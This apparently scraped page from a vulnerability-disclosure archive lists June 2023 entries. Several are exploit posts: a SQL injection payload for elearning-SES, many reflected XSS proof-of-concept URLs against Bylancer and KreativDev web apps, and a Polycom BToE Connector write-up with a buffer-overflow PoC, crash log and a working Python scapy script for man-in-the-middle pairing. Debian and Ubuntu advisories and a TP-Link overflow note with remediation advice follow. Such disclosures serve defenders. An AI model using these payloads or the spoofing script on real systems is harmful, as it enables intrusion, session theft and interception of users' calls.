elearning-SES version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: elearning-SES (by: oretnom23 ) v1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 06.14.2023## Vendor: https://github.com/oretnom23## Software: https://github.com/oretnom23/php-elearning-system## Reference: https://portswigger.net/web-security/sql-injection## Description:The username parameter appears to be vulnerable to SQL injectionattacks. The payloads 73152795' or 7515=7515-- and 13684562' or3996=3998-- were each submitted in the username parameter. These tworequests resulted in different responses, indicating that the input isbeing incorporated into a SQL query in an unsafe way. The attacker caneasily steal all information from the database of this system.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: username (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: username=-5075' OR 6057=6057-- JyxE&password=s8S!g3w!I2---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/elearning_1)## Proof and Exploit:[href]()## Time spend:01:15:00

elearning-SES 1.0 Sql Injection

RentEquip Multipurpose Rental version 1.0 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://codecanyon.net/user/kreativdev/portfolio                           ││  Vendor   : KreativDev                                                                 ││  Software : RentEquip - Multipurpose Rental 1.0                                        ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /shop/productsGET parameter 'min' is vulnerable to RXSShttps://website/shop/products?category=cordless-tools&min=1026553%3balert(1)%2f%2f772&max=227Path: /shop/productsGET parameter 'max' is vulnerable to RXSShttps://website/shop/products?category=cordless-tools&min=10&max=22724204%3balert(1)%2f%2f287[-] Done

RentEquip Multipurpose Rental 1.0 Cross Site Scripting

Polycom BToE Connector version 4.4.0.0 suffers from remote buffer overflow and man-in-the-middle vulnerabilities.

    Microsoft® Lync™ Better Together over Ethernet (BToE) feature on Polycom® VVX® business media. phones enables you to control phone activity from your computer using your Lync client.The BToE feature enables you to place, answer, and hold audio and video calls from your Polycom VVX phone and your Lync client on your computer.#### Title: Polycom BToE Connector 4.4.0.0 Multiple Vulnerabilities#### Affected versions: 4.4.0.0#### Tested on: Windows 10 Enterprise (x64), Windows 11 Home (x64), PBC.exe (x86)#### Credits: echo1. Remote stack based buffer overflowPolycom BToE Connector in version 4.4.0.0 is prone to Remote Stack Based Buffer Overflow.Vulnerability occurs in handling the following BToE protocol tags:<QoSDSCPValue>, <MediaPort>, <Dtmf>, <SignInState> and is related to the lack of error checking after call strstr function.Value returned by strstr is next used to calculate size of data which will be passed to strncpy.Due to limitation imposed on us by recv function - direct control only over 1024 bytes of data - using this vulnerability to achieve Remote Code Execution is very hard (partial overwrite) or even impossible.0022DB5B | C68424 30020000 00       | mov byte ptr ss:[esp+230],0 |0022DB63 | 68 28D83000              | push pbc.30D828 | 30D828:"</QoSDSCPValue>\n"0022DB68 | 57                       | push edi |0022DB69 | 66:0FD68424 39020000     | movq qword ptr ss:[esp+239],xmm0 |0022DB72 | 83C6 0E                  | add esi,E |0022DB75 | C68424 41020000 00       | mov byte ptr ss:[esp+241],0 |0022DB7D | FF15 F4222E00            | call dword ptr ds:[<&strstr>] |0022DB83 | 8BF8                     | mov edi,eax | <- poiter returned by strstr (no error check!)0022DB85 | 8D8424 38020000          | lea eax,dword ptr ss:[esp+238] |0022DB8C | 2BFE                     | sub edi,esi | <- calculate the size of QoSDSCPValue value0022DB8E | 57                       | push edi |    (null - poiter)0022DB8F | 56                       | push esi |0022DB90 | 50                       | push eax |0022DB91 | FF15 CC242E00            | call dword ptr ds:[<&strncpy>] | <- (buffer overflow)0022DB97 | 83C4 14                  | add esp,14 |:POC:-- <MediaPort><?xml version="1.0" encoding="UTF-8" standalone="yes"?><response protocolVersion="1" requestId="2"><MediaPort>31337</MediaPort>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-- <QoSDSCPValue><?xml version="1.0" encoding="UTF-8" standalone="yes"?><response><QoSDSCPValue>0</QoSDSCPValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:CRASH LOG:0:004> g(2d80.336c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4 edi=00f6fffdeip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206ucrtbase!strncpy+0x109:774028e9 8907            mov     dword ptr [edi],eax ds:002b:00f6fffd=????????0:003> g(2d80.336c): Unknown exception - code c00001a5 (!!! second chance !!!)eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4 edi=00f6fffdeip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206ucrtbase!strncpy+0x109:774028e9 8907            mov     dword ptr [edi],eax ds:002b:00f6fffd=????????0:003> kb  # ChildEBP RetAddr  Args to Child00 00f6d97c 002b9942 00f6e248 00f6d9d3 ff09262d ucrtbase!strncpy+0x109WARNING: Stack unwind information not available. Following frames may be wrong.01 00f6e284 41414141 41414141 41414141 41414141 PBC+0x994202 00f6e288 41414141 41414141 41414141 41414141 0x4141414103 00f6e28c 41414141 41414141 41414141 41414141 0x4141414104 00f6e290 41414141 41414141 41414141 41414141 0x4141414105 00f6e294 41414141 41414141 41414141 41414141 0x4141414106 00f6e298 41414141 41414141 41414141 41414141 0x4141414107 00f6e29c 41414141 41414141 41414141 41414141 0x4141414108 00f6e2a0 41414141 41414141 41414141 41414141 0x4141414109 00f6e2a4 41414141 41414141 41414141 41414141 0x414141410a 00f6e2a8 41414141 41414141 41414141 41414141 0x414141410b 00f6e2ac 41414141 41414141 41414141 41414141 0x414141410c 00f6e2b0 41414141 41414141 41414141 41414141 0x414141410d 00f6e2b4 41414141 41414141 41414141 41414141 0x414141410e 00f6e2b8 41414141 41414141 41414141 41414141 0x414141410f 00f6e2bc 41414141 41414141 41414141 41414141 0x4141414110 00f6e2c0 41414141 41414141 41414141 41414141 0x4141414111 00f6e2c4 41414141 41414141 41414141 41414141 0x4141414112 00f6e2c8 41414141 41414141 41414141 41414141 0x4141414113 00f6e2cc 41414141 41414141 41414141 41414141 0x4141414114 00f6e2d0 41414141 41414141 41414141 41414141 0x4141414115 00f6e2d4 41414141 41414141 41414141 41414141 0x4141414116 00f6e2d8 41414141 41414141 41414141 41414141 0x4141414117 00f6e2dc 41414141 41414141 41414141 41414141 0x4141414118 00f6e2e0 41414141 41414141 41414141 41414141 0x4141414119 00f6e2e4 41414141 41414141 41414141 41414141 0x414141411a 00f6e2e8 41414141 41414141 41414141 41414141 0x414141411b 00f6e2ec 41414141 41414141 41414141 41414141 0x414141411c 00f6e2f0 41414141 41414141 41414141 41414141 0x414141411d 00f6e2f4 41414141 41414141 41414141 41414141 0x414141411e 00f6e2f8 41414141 41414141 41414141 41414141 0x414141411f 00f6e2fc 41414141 41414141 41414141 41414141 0x4141414120 00f6e300 41414141 41414141 41414141 41414141 0x4141414121 00f6e304 41414141 41414141 41414141 41414141 0x4141414122 00f6e308 41414141 41414141 41414141 41414141 0x4141414123 00f6e30c 41414141 41414141 41414141 41414141 0x4141414124 00f6e310 41414141 41414141 41414141 41414141 0x4141414125 00f6e314 41414141 41414141 41414141 41414141 0x4141414126 00f6e318 41414141 41414141 41414141 41414141 0x4141414127 00f6e31c 41414141 41414141 41414141 41414141 0x4141414128 00f6e320 41414141 41414141 41414141 41414141 0x4141414129 00f6e324 41414141 41414141 41414141 0000000a 0x414141412a 00f6e328 41414141 41414141 0000000a 00000000 0x414141412b 00f6e32c 41414141 0000000a 00000000 00000000 0x414141412c 00f6e330 00000000 00000000 00000000 00000000 0x414141412. Man in the middle / Device spoofingBToE protocol occurs in two versions, newer and legacy.Implementation of newer version of BToE in BToE Connector is based on openssl library and that version support server authenticityverification. Legacy BToE implementation is relying on plink tool from PuTTY and doesn't check server authenticity while establishing the connection to the server.An attacker which has access to the 2081 UDP port which the PBC.exe is listening on, can - based on the lack of server authenticityverification - send a specially crafted packet and pair system/lync of attacked user with the operating system of attacker choice. From this point, an attacker can intercept or/and modify all data - including phone records and SRTP streams - that are transferred between the attacked system/lync app and the user's phone (polycom device).:POC:[victim system]C:\Windows\System32>hostnamevictimC:\Windows\System32>ipconfigWindows IP ConfigurationWireless LAN adapter Wi-Fi:    Connection-specific DNS Suffix  . : NAT.in.evil.empire    Link-local IPv6 Address . . . . . : 2001:db8:3333:4444:5555:6666:7777:8888    IPv4 Address. . . . . . . . . . . : 192.168.0.11    Subnet Mask . . . . . . . . . . . : 255.255.255.0    Default Gateway . . . . . . . . . : 192.168.0.1C:\Windows\System32>C:\Windows\System32>netstat -p UDP -a -n -bActive Connections   Proto  Local Address          Foreign Address        State   UDP    0.0.0.0:500            *:*   IKEEXT  [svchost.exe]   UDP    0.0.0.0:2081           *:*  [PBC.exe]  ...C:\Windows\System32>[attacker system]echo@attacker:~$ hostnameattackerecho@attacker:~$echo@attacker:~$ ip a...3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000     link/ether 80:91:33:9c:b9:9f brd ff:ff:ff:ff:ff:ff     inet 192.168.0.16/24 brd 192.168.0.255 scope global dynamic noprefixroute wlan0        valid_lft 3404sec preferred_lft 3404sec     inet6 1111::2222:3333:4444:5555/66 scope link noprefixroute        valid_lft forever preferred_lft foreverecho@attacker:~$root@attacker:/home# tail -n 1 /etc/passwdSynergy:x:1001:1001::/home/Synergy:/bin/bash  #pwd = Ch@mp$0FI1Croot@attacker:/home#root@attacker:/home# tail /etc/ssh/sshd_config# Example of overriding settings on a per-user basis#Match User anoncvs#       X11Forwarding no#       AllowTcpForwarding no#       PermitTTY no#       ForceCommand cvs serverAllowUsers Synergyroot@attacker:/home#echo@attacker:~$ cat /home/echo/Pulpit/BTOE/BToEMiTMPoc.py#!/usr/bin/python3import argparse, socketfrom scapy import all as scapydef packet(pbc_ip, pbc_port, phone_ip, phone_port):     fp_ip = phone_ip.split(".");     payload = struct.pack("BBBBHBBBBBBBBBBBBBBBBBBBBB",                           int(fp_ip[0]), int(fp_ip[1]), int(fp_ip[2]), int(fp_ip[3]),                           socket.htons(int(phone_port)),                           0x00, 0x04, 0xF3,5,8,9,10,11,12,1,13,14,15,16,17,18,19,0x1A, 0x1B, 0x1C, 0x1D);     packet = scapy.IP(dst=pbc_ip)/scapy.UDP(dport=pbc_port, sport=scapy.RandShort())/scapy.raw(payload);     scapy.send(packet, verbose=False);def poc():     opt = argparse.ArgumentParser(description='Process some integers.');     opt.add_argument('--pbc_ip', action='store',                      type=str,                      help='PBC.exe IPv4 address', required=True);     opt.add_argument('--pbc_port', action='store', type=int, help='PBC.exe UDP port', required=True);     opt.add_argument('--fake_phone_ip', action='store', type=str, help='Fake phone IPv4 address', required=True);     opt.add_argument('--fake_phone_port', action='store', type=str, help='Fake phone TCP port', required=True);     args = opt.parse_args()     packet(args.pbc_ip, args.pbc_port, args.fake_phone_ip, args.fake_phone_port);if __name__ == "__main__":    poc();echo@attacker:~$echo@attacker:~$ sudo python3 /home/echo/Pulpit/BTOE/BToEMiTMPoc.py --pbc_ip 192.168.0.11 --pbc_port 2081 --fake_phone_ip 192.168.0.16 --fake_phone_port 31337echo@attacker:~$ nc -l -v -p 31337listening on [any] 31337 ...connect to [192.168.0.16] from attacker [192.168.0.16] 59680<?xml version="1.0" encoding="UTF-8" standalone="yes"?><request  protocolVersion="1" requestId="2"><GruuRequest></GruuRequest></request>####:Recommendation:Since there are still no official fixes, I suggest you to consider blocking plink.exe from location "C:\Program Files [(x86)]\Polycom\Polycom BToE Connector"in order to disable legacy BToE support in BToE Connector.####:Disclosure Timeline:20.02.2023 – Initial contact with security@poly.com.22.02.2023 – Sending details to HP.06.03.2023 - HP/Poly plans the work schedule and fixes for product.13.03.2023 – HP/Poly was informed about 90 days disclosure policy.10.05.2023 – Request for status.11.05.2023 – Release is planning on mid-June.13.06.2023 - Request for status.15.06.2023 - Publication.-----BEGIN PGP PUBLIC KEY BLOCK-----xjMEYgzK+BYJKwYBBAHaRw8BAQdAuvqLumsJp8MYs+ccGRDNptLpiXET6kQ4EMSQm0+K1kbNGEJVRyA8c2VjYnVnczNAZ21haWwuY29tPsKLBBMWCAAzFiEEVFMxXX78QbIacMz7MuWgzP7on3UFAmIMyvgCGwMFCwkIBwIGFQgJCgsCBRYCAwEAAAoJEDLloMz+6J91RUwBAKYGAZ6fDeCVFckLBYJtAOfapZOkqtxsyPkWH2nI4nOOAP40wwVTHhF+/KzlydxgZeWSFisfQiG4/gKee8TOfp7LDc44BGIMyvkSCisGAQQBl1UBBQEBB0Bao5PIrX/c+RguQIRDZ0FRnigzTdRS1970qRbrlxUIBAMBCAfCeAQYFggAIBYhBFRTMV1+/EGyGnDM+zLloMz+6J91BQJiDMr5AhsMAAoJEDLloMz+6J91OIkA/iS1KwXlgE28cwK3PyPvNe7Jv5E+HXb3lXVxMe63iKdsAP94dozMMgIPdTHXU8LXxkR/YPBCvA4bkQ9SA37Ak2UDDg===6VCh-----END PGP PUBLIC KEY BLOCK-----

Polycom BToE Connector 4.4.0.0 Buffer Overflow / Man-In-The-Middle

TP-Link Archer version AX10(EU)_V1.2_230220 suffers from a buffer overflow vulnerability.

    # Exploit Title: Buffer Overflow in TP-Link Archer AX10(EU)_V1.2_230220# Exploit Author: Giuseppe Compare# Date : 26/05/2023# CVE: CVE-2023-34832# Vendor Homepage: https://www.tp-link.com/# Version: TP-Link Archer AX10(EU)_V1.2_230220Buffer OverflowThere is a buffer overflow in the FUN_131e8 function due to using sprintf improperly, detailed in line 47-49memset(&DAT_000283a4,0,0x800);sprintf(&DAT_000283a4,"echo \'[ %s ] %d: get OCN v6plus rules begin\n \' > /dev/console", "https_get_rules_OCN",0x3c3); system(&DAT_000283a4); //line 47-49sprintf((char *)&local_428, "https://rule.map.ocn.ad.jp/?ipv6Prefix=%s&ipv6PrefixLength=%d&code=e8mMWklYwaGoHmT05ynqVM4kPqF9rAUnhrWCp1vWvBeSOO0pfpMokg==" ,param_2 + 0x23,param_2[0x2d]);The sprintf() function makes no guarantees regarding the length of the generated string, a sufficiently long string passed as an additional argument could generate a buffer overflow.RemediationGuarantee that storage for strings has sufficient space for character data and the null terminator.Avoid using unsafe functions such as sprintf(), consider using snprintf() or sprintf_s() and variants.Double check that your buffer is as large as you specify.Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.

TP-Link Archer AX10(EU)_V1.2_230220 Buffer Overflow

QuickJob Portal version 6.1 suffers from a cross site scripting vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                  [ Vulnerability ]                                   ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : https://quickjob.bylancer.com/                                             │  
│  Vendor   : Bylancer                                                                   │  
│  Software : QuickJob Portal 6.1                                                        │  
│  Vuln Type: Reflected XSS                                                              │  
│  Impact   : Manipulate the content of the site                                         │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                                                                                       ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│  Release Notes:                                                                        │  
│  ═════════════                                                                         │  
│  The attacker can send to victim a link containing a malicious URL in an email or      │  
│  instant message can perform a wide variety of actions, such as stealing the victim's  │  
│  session token or login credentials                                                    │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  

         CryptoJob (Twitter) twitter.com/0x0CryptoJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2023                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /listing

GET parameter 'keywords' is vulnerable to RXSS

https://website/listing?keywords=tep81%3C%2ftitle%3E%3Cscript%3Ealert(1)%3C%2fscript%3Exjo44

Path: /listing

GET parameter 'location' is vulnerable to RXSS

https://website/listing?location=dlg48%3c%2ftitle%3e%3cscript%3ealert(1)%3c%2fscript%3eqlwm9

Path: /listing

GET parameter 'filter' is vulnerable to RXSS

https://website/listing?filter=mi7td%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Eqggg0

Path: /listing

GET parameter 'sort' is vulnerable to RXSS

https://website/listing?sort=Newestvxmqa%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Edxybf

Path: /listing

GET parameter 'order' is vulnerable to RXSS

https://website/listing?order=DESCpmkh0%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Edsavh

Path: /listing

GET parameter 'custom%5B8%5D' is vulnerable to RXSS

https://website/listing?keywords=&location=&placetype=&placeid=&cat=&subcat=&filter=&sort=Newest&order=DESC&job-type=4&salary-type=5&range1=11&range2=999&custom%5B8%5D=12b3r6d%22%3e%3cscript%3ealert(1)%3c%2fscript%3ebojt4

Path: /job-seekers

GET parameter 'age_range1' is vulnerable to RXSS

https://website/job-seekers?age_range1=11grn6r%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Ev1w8f

Path: /job-seekers

GET parameter 'age_range2' is vulnerable to RXSS

https://website/job-seekers?keywords=&location=&placetype=&placeid=&cat=&subcat=&age_range1=11&age_range2=999pkqe0%22%3e%3cscript%3ealert(1)%3c%2fscript%3evbpy9&range1=22&range2=33&gender=Male

Path: /job-seekers

GET parameter 'range1' is vulnerable to RXSS

https://website/job-seekers?keywords=&location=&placetype=&placeid=&cat=&subcat=&age_range1=11&age_range2=999&range1=22aafr9%22%3e%3cscript%3ealert(1)%3c%2fscript%3etdi3d&range2=33&gender=Male

Path: /job-seekers

GET parameter 'range2' is vulnerable to RXSS

https://website/job-seekers?keywords=&location=&placetype=&placeid=&cat=&subcat=&age_range1=11&age_range2=999&range1=22&range2=33onppz%22%3e%3cscript%3ealert(1)%3c%2fscript%3ee0x0x&gender=Male

[-] Done

QuickJob Portal 6.1 Cross Site Scripting

Quicklancer Freelance Marketplace version 2.4 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://quicklancer.bylancer.com/                                          ││  Vendor   : Bylancer                                                                   ││  Software : Quicklancer Freelance Marketplace 2.4                                      ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /projectsGET parameter 'keywords' is vulnerable to RXSShttps://website/projects?keywords=j37m8%22%3e%3cscript%3ealert(1)%3c%2fscript%3ezccjrPath: /projectsGET parameter 'filter' is vulnerable to RXSShttps://website/projects?filter=dxcbn%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Ennt2p&sort=Newest&order=DESC&salary-type=1&range1=11&range2=333&page=2Path: /projectsGET parameter 'sort' is vulnerable to RXSShttps://website/projects?sort=Newestaa8gm%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Ezh156Path: /projectsGET parameter 'order' is vulnerable to RXSShttps://website/projects?order=DESCprb2l%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Eoz0a8Path: /projectsGET parameter 'range1' is vulnerable to RXSShttps://website/projects?range1=11h35hc%22%3e%3cscript%3ealert(1)%3c%2fscript%3explvz[-] Done

Quicklancer Freelance Marketplace 2.4 Cross Site Scripting

QuickHomes Real Estate CMS version 1.3 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://quickhomes.bylancer.com/                                           ││  Vendor   : Bylancer                                                                   ││  Software : QuickHomes - Real Estate CMS 1.3                                           ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /listingGET parameter 'location' is vulnerable to RXSShttps://website/listing?location=mabs1%3C%2ftitle%3E%3Cscript%3Ealert(1)%3C%2fscript%3Eymjsu[-] Done

QuickHomes Real Estate CMS 1.3 Cross Site Scripting

Debian Linux Security Advisory 5431-1 - Xu Biang discovered that missing input sanitizing in Sofia-SIP, a SIP User-Agent library could result in denial of service.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5431-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffJune 16, 2023                         https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : sofia-sipCVE ID         : CVE-2023-32307Debian Bug     : 1036847Xu Biang discovered that missing input sanitising in Sofia-SIP, a SIPUser-Agent library could result in denial of service.For the oldstable distribution (bullseye), this problem has been fixedin version 1.12.11+20110422.1-2.1+deb11u2.We recommend that you upgrade your sofia-sip packages.For the detailed security status of sofia-sip please refer toits security tracker page at:https://security-tracker.debian.org/tracker/sofia-sipFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmSMdDMACgkQEMKTtsN8TjYfkxAArFibANmIokupgYg4AFcFpZqsBQdg+eV2TeX3BRkTaj5UCimLyBZKPhmih/k27gp/F1Pn5GOVAltrNWUp83EENWDHcTlR6inmv2/IDFJZVbR8XIJhz+7FUfC2aGh8bfgDGYM0C+/2BQzK4TmPPNRjnxRsbrBB+upNEJ6PlqDlktHeT3ks0VbQbGuZgUoJMMrSQoztYfFbJJNr5hAOQUxkxz8avoVC66YXGtntj+PvXiPIZQiIOrjylF2aLdFvtbldjZXCeUn/7Iu+w8ekMM4skFmZ91JZ2AvMa1Mxmzp8MZ1KIpLnpLm34k7UZS9om0nBj5SschYywGmohPjyfAJUwtMhZmPp3h67UxdY3SrMYDnmrioX3+GJL6yPopkgbW4eVUNkgxX2AkfEMblwYgB/ysiwmxSmkqRiG4FetseZZJ8h85Wn9q/TZrf8yANBQbjmjXrjwv50fVuSApTV7lHsZWf79zOG8DZJikQ8/npdcDRFngZsH5NqD01G3JSrYEUnI+oH+/XfdY7YFsmgpOifKp+19aYvbiv1SFLs6jOBTWhwJn7Gd9kiW6IzTzu4ze2CmfzbOn9v4LdqMUodCO4/F77ahxHBblfKqNpy2bFWg/gyTtkY/MgG3PGB6pQmvTzADqtjNFErvP4wUpfqXHoa4x/sIcRND75hOH03UJ3gLf4=EZ/C-----END PGP SIGNATURE-----

Debian Security Advisory 5431-1

Ubuntu Security Notice 6156-2 - USN-6156-1 fixed a vulnerability in SSSD. In certain environments, not all packages ended up being upgraded at the same time, resulting in authentication failures when the PAM module was being used. This update fixes the problem. It was discovered that SSSD incorrectly sanitized certificate data used in LDAP filters. When using this issue in combination with FreeIPA, a remote attacker could possibly use this issue to escalate privileges.

    ==========================================================================Ubuntu Security Notice USN-6156-2June 16, 2023sssd regression==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTSSummary:USN-6156-1 introduced a regression in SSSD.Software Description:- sssd: System Security Services DaemonDetails:USN-6156-1 fixed a vulnerability in SSSD. In certain environments, not allpackages ended up being upgraded at the same time, resulting inauthentication failures when the PAM module was being used.This update fixes the problem. We apologize for the inconvenience.Original advisory details:  It was discovered that SSSD incorrrectly sanitized certificate data used in  LDAP filters. When using this issue in combination with FreeIPA, a remote  attacker could possibly use this issue to escalate privileges.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:   sssd                            2.2.3-3ubuntu0.12In general, a standard system update will make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-6156-2   https://ubuntu.com/security/notices/USN-6156-1   https://launchpad.net/bugs/2023598Package Information:   https://launchpad.net/ubuntu/+source/sssd/2.2.3-3ubuntu0.12

Ubuntu Security Notice USN-6156-2

Debian Linux Security Advisory 5430-1 - Several vulnerabilities have been discovered in the OpenJDK Java runtime, which may result in denial of service, information disclosure or bypass of sandbox restrictions.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5430-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffJune 16, 2023                         https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : openjdk-17CVE ID         : CVE-2023-21930 CVE-2023-21937 CVE-2023-21938 CVE-2023-21939                 CVE-2023-21954 CVE-2023-21967 CVE-2023-21968Several vulnerabilities have been discovered in the OpenJDK Java runtime,which may result in denial of service, information disclosure or bypassof sandbox restrictions.For the oldstable distribution (bullseye), these problems have been fixedin version 17.0.7+7-1~deb11u1.For the stable distribution (bookworm), these problems have been fixed inversion 17.0.7+7-1~deb12u1.We recommend that you upgrade your openjdk-17 packages.For the detailed security status of openjdk-17 please refer toits security tracker page at:https://security-tracker.debian.org/tracker/openjdk-17Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP 